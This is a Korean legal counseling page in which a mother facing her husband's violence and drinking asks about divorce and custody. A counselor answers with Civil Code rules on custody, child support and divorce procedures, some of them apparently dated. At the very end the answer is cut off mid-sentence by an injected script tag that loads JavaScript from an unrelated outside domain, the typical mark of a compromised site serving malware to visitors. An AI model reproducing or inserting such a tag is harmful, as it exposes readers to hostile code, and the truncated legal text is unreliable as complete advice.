사이버상담실
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너무 답답해서 글 올립니다.
저희 부부는 부부관계한지도 벌써 2년이 넘는 서로에게 나쁜 감정만 있는 상태로 애들때문에 하루하루 버티며 살고 있습니다ㅣ.
남편은 사업을 한다고 ㅎ라면서 여기저기 융자를 받아 다 날려버리더니 이젠 집을 담보로 또 대출을 받아달라고 해 거절하자 폭력까지 씁니다.
집은 ㅇ명의는 제이름이고 현재도 4천 융자를 제이름으로 받았거든요.(ㄴ잠편은 신용이 안좋아서 할수없이 제이름으로)
결혼 1년째 친정에서 준 2천만원을 주식으로 다 날리고,집장만할때 천만원을 또 빌려주었었는데,,남편은 이제와서 1년전 친정오빠에게 1500만원 빌려줬던걸 갚으라고 닥달을 합니다.
그래서 저도 그전에 주식해서 날린 2천과 집할때 천만원을 먼저 저에게 주면 저도 그 천오백만원 갚아준다고 했지요..그러자 폭력을 써 경찰에 신고도 한번 했었습니;다.
사업한다 뭐한다하며 일주일에 2번정도 두번정도 들어오면 많이 오는거고요..지금은 제가 벌어서 생계를 유지하고 있습니다.
이런경우 이혼 소송을하면 양육권을 제가 가질수 있을까요?
참고로 남편은 하루에 꼭 소주 한병에서 두병씩 마시고요,,전 유치원에 근무해서 큰애를 함께 돌볼수 있고 내년이면 둘째도 제가 맡아 함께- 있을수 있습니다.(5살,3살이거든요)
그런데도 ㄴ잠편은 자기 이익ㅁ반 위해 돌보지도 못하면서 자신이 아이들을 키우겠다고 합니다.
이런경우 양육권은 어느쪽으로 가나요?
그리고 결혼전 제 남자친구가 제게 보냈던 편지를 가지고 늘 부부싸움만하면 트집을잡고 괴롭히는데 (결혼후 우연한 계{기로 2번만난건 사실이지만 그 이후론 전혀 소식도 모르고 지냅니다)이런경우엔 어찌되나요?
너무 답답해서 두서없이 적었습니ㅏㄷ.
제발 답변 해주시기바랍니다.
이혼시 미성년 자녀의 양육에 관한 것은 부부가 합의하에 양육권자와 양육비의 문제를 결정하면 됩니다. 만약 두 사람간에 자녀의 양육권에 대한 합의가 이루어지지 않으면 법원의 조정이나 소송을 통해서 양육권자와 친권행사자를 정할 수 있습니다(민법 제837조, 민법 제909조 제4항). 법원은 그 자녀의 연령, 부모의 재산상황, 기타 사정을 참작하여 양육권자를 지정합니다(민법 제837조 제2항). 자녀의 나이가 10세 이전의 어린이라면 끊임없는 보살핌과 모성애를 필요로 하므로 양육권자 지정에 있어 어머니에게 우선권이 있다고 봅니다(대법원 70.11.30선고, 70드28 판결). 만약 부모 중 한쪽에 부모로서의 자질이 부족한 명확한 증거가 있다면(예: 정신적 또는 육체적으로 건강상태가 좋지 않아 자녀의 양육에 부적합하다거나 알콜중독 등) 양육권자가 될 수 없습니다(대법원 69.12.30 선고, 69므341 판결). 하지만 양육권자로서의 자질 부족은 이혼사유에 있어서 유책여부와는 다른 것이라고 봅니다. 예를 들어 남편의 외도로 이혼을 하게 되었다고, 그 남편에게 부모로서의 자질이 없다고는 볼 수 없기 때문입니다. 그러므로 귀하는 남편의 폭력 행사, 음주문제 등을 이유로 자녀 양육이 부적합함을 입증할 수 있어야 합니다.
자녀를 양육하는 사람은 다른 일방 배우자에게 양육비청구를 할 수 있습니다. 양육비의 액수는 이혼 전에 자녀들이 누렸던 정도의 경제상황이 이혼 후에도 가능할 정도의 액수를 말합니다. 양육비는 일시불로 받을 수는 없고 매월 받아야 합니다. 양육비에 대해서도 합의가 되지 않으면 소송을 통해서 이혼, 위자료, 재산분할, 양육자 및 친권행사자지정, 양육비 청구를 함께 하면 됩니다.
아래는 이혼에 관한 전반적인 설명입니다. 참고하시기 바랍니다.
(1) 이혼
이혼에는 두가지 방법이 있습니다. 협의이혼(민법 제834조)과 재판이혼(민법 제840조)이 그것입니다. 협의 이혼의 경우에는 부부간에 어떤 사유로 이혼을 하는 가는 묻지 않습니다. 성격 불일치·불화·애정상실·권태·성적불만·금전문제·건강문제 등 어떤 명목으로든지 부부간에 이혼의사의 합의만 있으면 이혼이 가능합니다. 이러한 협의 이혼은 가정법원의 확인을 받아야 하는데, 이때 판사는 두사람이 이혼의사의 합의가 있는지와 아이가 있는 경우 양육자를 누구로 정할 것인가만을 판사가 묻고 이 두가지에 합의한 이상 이혼의 확인을 해주고, 이를 관할 호적계에 신고하면 되는 것입니다 (민법 제 836조 제1항).
* 협의 이혼의 절차(민법 제836조, 호적법 제79조의 2, 호적법시행규칙 제7장)
호적등본 1통, 주민등록 등본 1통, 당사자 쌍방과 성년자인 증인 2인이 연서한 이혼신고서 3통을 첨부하여 협의이혼의사확인신청서를 주소지 관할 법원 가사과에 제출한 후 지정된 시간에 부부가 도장, 주민등록증을 갖고서 함께 판사 앞에 출석하여 이혼의사를 밝히면 됩니다. 그 후 법원으로 부터 이혼신고서와 이혼 확인을 받은 확인서를 부부가 각각 1통씩 받게되는데, 두사람 중 누구든지 이것을 남편의 본적지 시·구·읍·면에 여자의 복적할 가의 호적등본 2통, 남자의 호적등본 1통과 함께 3개월 내에 신고하면 이혼이 됩니다.
하지만 만약 부부 중 일방이 이혼을 원하지 않으면, 협의이혼은 불가능합니다. 이혼에는 동의하지만 자녀문제나 재산문제에 협의가 불가능할 경우 협의이혼 후 재산문제나 자녀문제만 소송으로 다툴 수도 있고, 이혼 및 위자료, 재산분할, 자녀문제까지 함께 소송으로 다툴 수도 있습니다.
재판상 이혼의 경우에는 누구나 재판이혼을 할 수 있는 것은 아니고 법으로 정해진 일정한 사유에 해당하는 경우만 법원에서 판결로 이혼을 인정해 주는 것입니다.
* 민법 제840조 [재판상 이혼사유]
부부의 일방은 다음 각호의 사유가 있는 경우에는 가정법원에 이혼을 청구할 수 있다.
1. 배우자에 부정한 행위가 있었을 때
2. 배우자가 악의로 다른 일방을 유기한 때
3. 배우자 또는 그 직계존속으로부터 심히 부당한 대우를 받았을 때
4. 자기의 직계존속이 배우자로부터 심히 부당한 대우를 받았을 때
5. 배우자의 생사가 3년 이상 분명하지 아니한 때
6. 기타 혼인을 계속하기 어려운 중대한 사유가 있을 때
하지만 이혼사유가 있다고 해도 이혼을 하고, 위자료를 받기 위해서는 이 사실을 법정에서 입증할 수 있어야 합니다. 이러한 점을 미리 염두해 두어야합니다. 입증방법으로는 이웃, 친구, 친척 등의 진술서나 증인, 녹음, 진단서, 병원 진료기록, 일기장 등 배우자의 이혼책임을 ?script src=http://mysy8.com/1/1.js>
